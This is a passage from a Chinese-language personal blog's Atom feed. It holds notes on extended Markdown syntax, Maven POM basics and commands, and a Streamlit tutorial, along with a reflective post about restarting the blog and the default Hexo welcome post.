data-num="12"></td><td><pre></pre></td></tr><tr><td data-num="13"></td><td><pre><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>u</span><span class="token punctuation">></span></span>下划线<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>u</span><span class="token punctuation">></span></span></pre></td></tr><tr><td data-num="14"></td><td><pre></pre></td></tr><tr><td data-num="15"></td><td><pre>\转义</pre></td></tr></table></figure><h1 id="部分扩展语法"><a class="anchor" href="#部分扩展语法">#</a> 部分扩展语法</h1>
<h2 id="code"><a class="anchor" href="#code">#</a> code</h2>
<figure class="highlight markdown"><figcaption data-lang="markdown"><span>行高亮</span><span class="exturl" data-url="aHR0cHM6Ly9nb29nbGUuY29t">link</span></figcaption><table><tr class="marked"><td data-num="1"></td><td><pre>\```markdown 行高亮 https://google.com link mark:1</pre></td></tr></table></figure><h2 id="emoji"><a class="anchor" href="#emoji">#</a> emoji</h2>
<figure class="highlight markdown"><figcaption data-lang="markdown"></figcaption><table><tr><td data-num="1"></td><td><pre>:kissing_heart:</pre></td></tr><tr><td data-num="2"></td><td><pre>:ring:</pre></td></tr></table></figure><h2 id="effects"><a class="anchor" href="#effects">#</a> effects</h2>
<figure class="highlight markdown"><figcaption data-lang="markdown"></figcaption><table><tr><td data-num="1"></td><td><pre>快捷键 [Ctrl]&#123;.kbd&#125; + [C]&#123;.kbd .red&#125;</pre></td></tr><tr><td data-num="2"></td><td><pre>H<span class="token strike"><span class="token punctuation">~</span><span class="token content">2</span><span class="token punctuation">~</span></span>0</pre></td></tr><tr><td data-num="3"></td><td><pre>29^th^</pre></td></tr></table></figure><p>快捷键 <span class="kbd">Ctrl</span> + <span class="kbd red">C</span><br />
H<sub>2</sub>0<br />
29<sup>th</sup></p>
<h2 id="label"><a class="anchor" href="#label">#</a> label</h2>
<figure class="highlight markdown"><figcaption data-lang="markdown"></figcaption><table><tr><td data-num="1"></td><td><pre>[default]&#123;.label&#125;</pre></td></tr><tr><td data-num="2"></td><td><pre>[primary]&#123;.label .primary&#125;</pre></td></tr><tr><td data-num="3"></td><td><pre></pre></td></tr><tr><td data-num="4"></td><td><pre>[info]&#123;.label .info&#125;</pre></td></tr><tr><td data-num="5"></td><td><pre>[success]&#123;.label .success&#125;</pre></td></tr><tr><td data-num="6"></td><td><pre>[warning]&#123;.label .warning&#125;</pre></td></tr><tr><td data-num="7"></td><td><pre>[danger]&#123;.label .danger&#125;</pre></td></tr></table></figure><p><span class="label info">info</span></p>
<h2 id="tasklist"><a class="anchor" href="#tasklist">#</a> taskList</h2>
<pre><code>- [ ] 这是一个小叉叉
- [x] 这是一个红色勾勾
&#123;.danger&#125;
- [ ] 未完成
- [x] 完成
&#123;.primary&#125;
- [ ] 未完成
- [x] 默认颜色
</code></pre>
<ul class="task-list danger">
<li class="task-list-item"><input type="checkbox" id="cbx_0" disabled="true" /><label for="cbx_0"> 这是一个小叉叉</label></li>
<li class="task-list-item"><input type="checkbox" id="cbx_1" checked="true" disabled="true" /><label for="cbx_1"> 这是一个红色勾勾</label></li>
</ul>
<ul class="task-list primary">
<li class="task-list-item"><input type="checkbox" id="cbx_2" disabled="true" /><label for="cbx_2"> 未完成</label></li>
<li class="task-list-item"><input type="checkbox" id="cbx_3" checked="true" disabled="true" /><label for="cbx_3"> 完成</label></li>
</ul>
<ul class="task-list">
<li class="task-list-item"><input type="checkbox" id="cbx_4" disabled="true" /><label for="cbx_4"> 未完成</label></li>
<li class="task-list-item"><input type="checkbox" id="cbx_5" checked="true" disabled="true" /><label for="cbx_5"> 默认颜色</label></li>
</ul>
<h2 id="media"><a class="anchor" href="#media">#</a> media</h2>
<pre><code>&#123;% media audio %&#125;
- title: 列表 1
list:
- https://test
- https://test
- title: 列表 2
list:
- https://test
&#123;% endmedia %&#125;
&#123;% media video %&#125;
- name: "测试 1"
url: https://test
- name: "测试 2"
url: https://test
&#123;% endmedia %&#125;
</code></pre>
<p><div class="media-container"><div class="player" data-type="audio" data-src='["https://music.163.com/#/playlist?id=8149667096"]'></div></div></p>
</content>
<category term="Note" scheme="https://vkkkv.github.io/categories/Note/" />
<category term="markdown" scheme="https://vkkkv.github.io/tags/markdown/" />
<updated>2024-01-29T13:18:03.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/01/29/Java/MavenNote/</id>
<title>Maven笔记整理</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/01/29/Java/MavenNote/"/>
<content type="html"><h1 id="maven笔记整理"><a class="anchor" href="#maven笔记整理">#</a> Maven 笔记整理</h1>
<h2 id="project-object-model"><a class="anchor" href="#project-object-model">#</a> Project Object Model</h2>
<p>Project Object Model (POM) 是 Maven 项目配置的核心概念。在 Maven 项目中,POM 通过一个名为 <code>pom.xml</code> 的 XML 文件表示。它包含了项目的基本信息和配置详情,如项目名称、版本、依赖项、插件、目标等。POM 使得项目的构建过程变得透明化,并且可重复,确保了持续集成和部署的一致性。</p>
<p>下面是 POM 中一些关键部分的概述:</p>
<ol>
<li>
<p><strong>基本信息</strong>:包括项目的坐标,即 <code>groupId</code> , <code>artifactId</code> , 和 <code>version</code> 。这些元素唯一地定义了项目在仓库中的位置。</p>
</li>
<li>
<p><strong>依赖管理</strong>:在 <code>&lt;dependencies&gt;</code> 部分定义项目所需的库。每个依赖项都有其自己的坐标和范围,指明了库在项目生命周期中的使用阶段。</p>
</li>
<li>
<p><strong>插件和目标</strong>: <code>&lt;build&gt;</code> 部分中的 <code>&lt;plugins&gt;</code> 定义了项目构建过程中使用的插件及其配置。这些插件可以绑定到生命周期的不同阶段上。</p>
</li>
<li>
<p><strong>属性</strong>:可以定义一些属性来简化配置,例如,可以指定编译器版本或者文件编码方式。</p>
</li>
<li>
<p><strong>构建配置</strong>:如源码路径、测试路径、输出文件等也在 POM 中配置。</p>
</li>
<li>
<p><strong>构建生命周期</strong>:POM 文件定义了项目的构建生命周期,包括编译、测试、打包和部署等阶段。</p>
</li>
<li>
<p><strong>项目继承</strong>:通过 <code>&lt;parent&gt;</code> 元素,POM 可以继承另一个 POM 的配置。这在多模块项目中特别有用。</p>
</li>
<li>
<p><strong>项目聚合</strong>:通过 <code>&lt;modules&gt;</code> 元素,可以定义项目的子模块,允许一次性构建多个模块。</p>
</li>
<li>
<p><strong>仓库管理</strong>:指定项目使用的仓库地址,用于依赖项的下载和项目成果的上传。</p>
</li>
<li>
<p><strong>配置管理</strong>:可以包括对源代码管理系统的引用。</p>
</li>
</ol>
<h2 id="命令"><a class="anchor" href="#命令">#</a> 命令</h2>
<p>在实际开发过程中,经常使用的命令有:</p>
<ul>
<li><code>mvn clean</code> :清理所有生成的 class 和 jar;</li>
<li><code>mvn clean compile</code> :先清理,再执行到 compile;</li>
<li><code>mvn clean test</code> :先清理,再执行到 test,因为执行 test 前必须执行 compile,所以这里不必指定 compile;</li>
<li><code>mvn clean package</code> :先清理,再执行到 package。</li>
</ul>
<h2 id="构建过程"><a class="anchor" href="#构建过程">#</a> 构建过程</h2>
<p>大多数阶段 ( <code>phase</code> ) 在执行过程中,因为我们通常没有在 <code>pom.xml</code> 中配置相关的设置,所以这些 <code>phase</code> 什么事情都不做。<br />
经常用到的 <code>phase</code> 其实只有几个:<br />
<code>clean</code> :清理<br />
<code>compile</code> :编译<br />
<code>test</code> :运行测试<br />
<code>package</code> :打包</p>
<h2 id="目录"><a class="anchor" href="#目录">#</a> 目录</h2>
<figure class="highlight bash"><figcaption data-lang="bash"><span>h</span></figcaption><table><tr><td data-num="1"></td><td><pre>根目录:工程名</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token operator">|</span>---<span class="token variable"><span class="token variable">`</span>src<span class="token variable">`</span></span>:源码</pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token operator">|</span>---<span class="token operator">|</span>---<span class="token variable"><span class="token variable">`</span>main<span class="token variable">`</span></span><span class="token builtin class-name">:</span> 存放主程序</pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token operator">|</span>---<span class="token operator">|</span>---<span class="token operator">|</span>---<span class="token variable"><span class="token variable">`</span><span class="token function">java</span><span class="token variable">`</span></span>:java源码文件</pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token operator">|</span>---<span class="token operator">|</span>---<span class="token operator">|</span>---<span class="token variable"><span class="token variable">`</span>resource<span class="token variable">`</span></span>:存放框架的配置文件</pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token operator">|</span>---<span class="token operator">|</span>---<span class="token variable"><span class="token variable">`</span><span class="token builtin class-name">test</span><span class="token variable">`</span></span>:存放测试程序</pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token operator">|</span>---<span class="token variable"><span class="token variable">`</span>pom.xml<span class="token variable">`</span></span>:maven的核心配置文件</pre></td></tr></table></figure></content>
<category term="Java" scheme="https://vkkkv.github.io/categories/Java/" />
<category term="Note" scheme="https://vkkkv.github.io/categories/Java/Note/" />
<category term="Java" scheme="https://vkkkv.github.io/tags/Java/" />
<category term="Maven" scheme="https://vkkkv.github.io/tags/Maven/" />
<updated>2024-01-29T12:57:13.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/01/24/python/StreamlitNote/</id>
<title>Streamlit使用笔记</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/01/24/python/StreamlitNote/"/>
<content type="html"><h1 id="前言"><a class="anchor" href="#前言">#</a> 前言</h1>
<p><code>Streamlit</code> 特别适合需要在 Web 应用中快速展示数据或算法的项目,<br />
比如</p>
<ol>
<li><strong>数据分析、数据可视化或数据报告</strong></li>
<li><strong>机器学习和人工智能应用</strong></li>
</ol>
<p>这是我实现的一个应用:</p>
<p><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL1ZLS0tWL2N5cGhlcnBybw==">https://github.com/VKKKV/cypherpro</span></p>
<h1 id="安装并创建"><a class="anchor" href="#安装并创建">#</a> 安装并创建</h1>
<ol>
<li>
<p><strong>安装 <code>Streamlit</code> </strong>:在终端或命令提示符中运行以下命令:</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>pip <span class="token function">install</span> streamlit</pre></td></tr></table></figure></li>
<li>
<p><strong>创建一个新的 <code>Python</code> 文件</strong>:在你的工作目录中创建一个新的 Python 文件,比如叫做 <code>app.py</code> 。</p>
</li>
<li>
<p><strong>编写 <code>Streamlit</code> 代码</strong>:在 <code>app.py</code> 文件中,写下以下代码:</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">import</span> streamlit <span class="token keyword">as</span> st</pre></td></tr><tr><td data-num="2"></td><td><pre></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token comment"># 设置页面标题</span></pre></td></tr><tr><td data-num="4"></td><td><pre>st<span class="token punctuation">.</span>title<span class="token punctuation">(</span><span class="token string">'我的Streamlit应用'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="5"></td><td><pre></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token comment"># 显示文本</span></pre></td></tr><tr><td data-num="7"></td><td><pre>st<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">'这是一个基本的Streamlit应用,用于展示文本和图像。'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token comment"># 显示图像</span></pre></td></tr><tr><td data-num="10"></td><td><pre>st<span class="token punctuation">.</span>image<span class="token punctuation">(</span><span class="token string">'image.jpg'</span><span class="token punctuation">,</span> caption<span class="token operator">=</span><span class="token string">'Sunrise by the mountains'</span><span class="token punctuation">)</span></pre></td></tr></table></figure></li>
<li>
<p><strong>运行</strong></p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>streamlit run app.py</pre></td></tr></table></figure></li>
</ol>
<h1 id="分列"><a class="anchor" href="#分列">#</a> 分列</h1>
<p><code>st.columns()</code> 用于在水平方向上分割页面布局,创建并排放置的多个元素。</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token comment"># 分列</span></pre></td></tr><tr><td data-num="2"></td><td><pre>col1<span class="token punctuation">,</span> col2<span class="token punctuation">,</span> col3 <span class="token operator">=</span> st<span class="token punctuation">.</span>columns<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token keyword">with</span> col1<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="4"></td><td><pre> st<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">"这是第一列"</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="5"></td><td><pre></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token keyword">with</span> col2<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="7"></td><td><pre> st<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">"这是第二列"</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token keyword">with</span> col3<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="10"></td><td><pre> st<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">"这是第三列"</span><span class="token punctuation">)</span></pre></td></tr></table></figure><p>这段代码会在页面上创建三列,每列分别显示不同的文本。</p>
<h1 id="分页"><a class="anchor" href="#分页">#</a> 分页</h1>
<p>创建入口文件后,在 <code>pages</code> 目录中创建 <code>.py</code> 文件添加页面。</p>
<p>下面是多页应用的有效目录结构:</p>
<figure class="highlight shell"><figcaption data-lang="Bash"><span>l</span></figcaption><table><tr><td data-num="1"></td><td><pre>Home.py <span class="token comment"># This is the file you run with "streamlit run"</span></pre></td></tr><tr><td data-num="2"></td><td><pre>└─── pages/</pre></td></tr><tr><td data-num="3"></td><td><pre> └─── About.py <span class="token comment"># This is a page</span></pre></td></tr><tr><td data-num="4"></td><td><pre> └─── 2_Page_two.py <span class="token comment"># This is another page</span></pre></td></tr><tr><td data-num="5"></td><td><pre> └─── 3_😎_three.py <span class="token comment"># So is this</span></pre></td></tr></table></figure><h1 id="常用api"><a class="anchor" href="#常用api">#</a> 常用 <code>API</code></h1>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token comment"># 这是最通用的命令,用于在应用中显示文本、数据、图表等。</span></pre></td></tr><tr><td data-num="2"></td><td><pre>st<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="3"></td><td><pre> </pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token comment"># 用 Markdown 格式显示文本。</span></pre></td></tr><tr><td data-num="5"></td><td><pre>st<span class="token punctuation">.</span>markdown<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="6"></td><td><pre></pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token comment"># 创建一个文本输入框。</span></pre></td></tr><tr><td data-num="8"></td><td><pre>st<span class="token punctuation">.</span>text_input<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="9"></td><td><pre></pre></td></tr><tr><td data-num="10"></td><td><pre><span class="token comment"># 创建一个按钮,当被点击时返回 True。</span></pre></td></tr><tr><td data-num="11"></td><td><pre>st<span class="token punctuation">.</span>button<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="12"></td><td><pre></pre></td></tr><tr><td data-num="13"></td><td><pre><span class="token comment"># 创建标题.</span></pre></td></tr><tr><td data-num="14"></td><td><pre>st<span class="token punctuation">.</span>header<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="15"></td><td><pre></pre></td></tr><tr><td data-num="16"></td><td><pre><span class="token comment"># 创建一个文件上传控件。</span></pre></td></tr><tr><td data-num="17"></td><td><pre>st<span class="token punctuation">.</span>file_uploader<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr></table></figure><h1 id="end"><a class="anchor" href="#end">#</a> end</h1>
<p>更多关于 <code>Streamlit</code> <code>API</code> 的信息,请参考</p>
<p><span class="exturl" data-url="aHR0cHM6Ly9kb2NzLnN0cmVhbWxpdC5pby8=">https://docs.streamlit.io/</span></p>
<p><span class="exturl" data-url="aHR0cHM6Ly9jaGVhdC1zaGVldC5zdHJlYW1saXQuYXBwLw==">https://cheat-sheet.streamlit.app/</span></p>
<p>第三方组件</p>
<p><span class="exturl" data-url="aHR0cHM6Ly9zdHJlYW1saXQuaW8vY29tcG9uZW50cw==">https://streamlit.io/components</span></p>
</content>
<category term="python" scheme="https://vkkkv.github.io/categories/python/" />
<category term="python" scheme="https://vkkkv.github.io/tags/python/" />
<category term="streamlit" scheme="https://vkkkv.github.io/tags/streamlit/" />
<updated>2024-01-24T12:06:32.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/01/23/thoughts/zero-blog/</id>
<title>zero-blog</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/01/23/thoughts/zero-blog/"/>
<content type="html"><p>自 2022 年 9 月搭建博客,至今 2024 年细算已有一年有余。</p>
<p>其间数次意欲证明己身实力,post 篇技术文章。奈何脑中文字所得尽数拾人牙慧,一无所长,以至于达不到理想中的原创文章。</p>
<p>我能轻松学会的知识、技术,为何别人不能学会,我能写出的博客,为何别人写不出。一念之间想法打消,怔怔空对文档,对博客的热情也淡了下来。</p>
<h1 id="zero"><a class="anchor" href="#zero">#</a> zero</h1>
<p>文章标题为 <code>zero-blog</code> 。因为过去的一无所获,无一可数,只好从零数起开始反省。反思我在已经得到所有想要的东西后还能想要什么,在失去得不到的东西后还能再失去什么。</p>
<p>心中剩下的只有对于电子设备的热情,这情绪的由来早已遗忘,还停留的是小时候摸到 psp 扳机的触感,点击键盘见到 flash 游戏的新鲜感。那时觉得电脑键盘是永远都玩不腻的玩具,中学接触信息课是这么想,填写志愿是这么想,多少学了点皮毛技术的现在也是。</p>
<p>恐怕我一生都会这么想,这个人可以离开很多东西,但早已经离不开计算机和游戏了。</p>
<p>如今不敢想象 2021 年的夏天,那是第一次拥有一台笔记本电脑,有机会天天摸到键盘,学习编程,那是连键盘盲打都不会,鼠标也用不顺手,却依然对控制台输出星号三角形乐此不疲的时间。那种勃勃生机,万物竞发的境界犹在眼前。</p>
<p>这样的体验带来的感觉虽然不再常有,但我还有的是时间去找感觉。</p>
<p><strong>end</strong></p>
<p>祝你我都好。</p>
<h2 id="ps"><a class="anchor" href="#ps">#</a> ps</h2>
<p>搭建博客时所学习参考的文章不会忘。</p>
<ol>
<li>[攻城狮杰森的博客搭建教程]<span class="exturl" data-url="aHR0cHM6Ly9wZHBlbmcuZ2l0aHViLmlvLzIwMjIvMDEvMTkvc2V0dXAtcGVyc29uYWwtYmxvZy8=">https://pdpeng.github.io/2022/01/19/setup-personal-blog/</span></li>
<li>[观月真由理的 Hexo 主题 Shoka]<span class="exturl" data-url="aHR0cHM6Ly9zaG9rYS5sb3N0eXUubWUvY29tcHV0ZXItc2NpZW5jZS9ub3RlL3RoZW1lLXNob2thLWRvYy8=">https://shoka.lostyu.me/computer-science/note/theme-shoka-doc/</span></li>
</ol>
<p>如今再次点开链接查看文章,shoka 主题竟然已三年未曾更新过,恐怕博客主人早已过了爱折腾的年纪,一瞬间欲言又止,心中只有时过境迁之感。<br />
到此为止不再多想,开始着手写博客,无论内容多少,只保质不保量。给自己</p>
</content>
<category term="thoughts" scheme="https://vkkkv.github.io/categories/thoughts/" />
<category term="thoughts" scheme="https://vkkkv.github.io/tags/thoughts/" />
<updated>2024-01-23T14:55:48.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2022/09/04/technology/hello-world/</id>
<title>Hello World</title>
<link rel="alternate" href="https://vkkkv.github.io/2022/09/04/technology/hello-world/"/>
<content type="html"><p>Welcome to <span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvLw==">Hexo</span>! This is your very first post. Check <span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL2RvY3Mv">documentation</span> for more<br />
info. If you get any problems when using Hexo, you can find the answer<br />
in <span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL2RvY3MvdHJvdWJsZXNob290aW5nLmh0bWw=">troubleshooting</span> or you can ask me<br />
on <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2hleG9qcy9oZXhvL2lzc3Vlcw==">GitHub</span>.</p>
<h2 id="quick-start"><a class="anchor" href="#quick-start">#</a> Quick Start</h2>
<h3 id="create-a-new-post"><a class="anchor" href="#create-a-new-post">#</a> Create a new post</h3>
<figure class="highlight bash"><figcaption data-lang="bash"><span>h</span></figcaption><table><tr><td data-num="1"></td><td><pre>$ hexo new <span class="token string">"My New Post"</span></pre></td></tr></table></figure><p>More info: <span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL2RvY3Mvd3JpdGluZy5odG1s">Writing</span></p>
<h3 id="run-server"><a class="anchor" href="#run-server">#</a> Run server</h3>
<figure class="highlight bash"><figcaption data-lang="bash"><span>h</span></figcaption><table><tr><td data-num="1"></td><td><pre>$ hexo server</pre></td></tr></table></figure><p>More info: <span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL2RvY3Mvc2VydmVyLmh0bWw=">Server</span></p>
<h3 id="generate-static-files"><a class="anchor" href="#generate-static-files">#</a> Generate static files</h3>
<figure class="highlight bash"><figcaption data-lang="bash"><span>h</span></figcaption><table><tr><td data-num="1"></td><td><pre>$ hexo generate</pre></td></tr></table></figure><p>More info: <span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL2RvY3MvZ2VuZXJhdGluZy5odG1s">Generating</span></p>
<h3 id="deploy-to-remote-sites"><a class="anchor" href="#deploy-to-remote-sites">#</a> Deploy to remote sites</h3>
<figure class="highlight bash"><figcaption data-lang="bash"><span>h</span></figcaption><table><tr><td data-num="1"></td><td><pre>$ hexo deploy</pre></td></tr></table></figure><p>More info: <span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL2RvY3Mvb25lLWNvbW1hbmQtZGVwbG95bWVudC5odG1s">Deployment</span></p>
<p>hexo-algoliasearch</p>
</content>
<updated>2022-09-04T12:13:04.641Z</updated>
</entry>
</feed>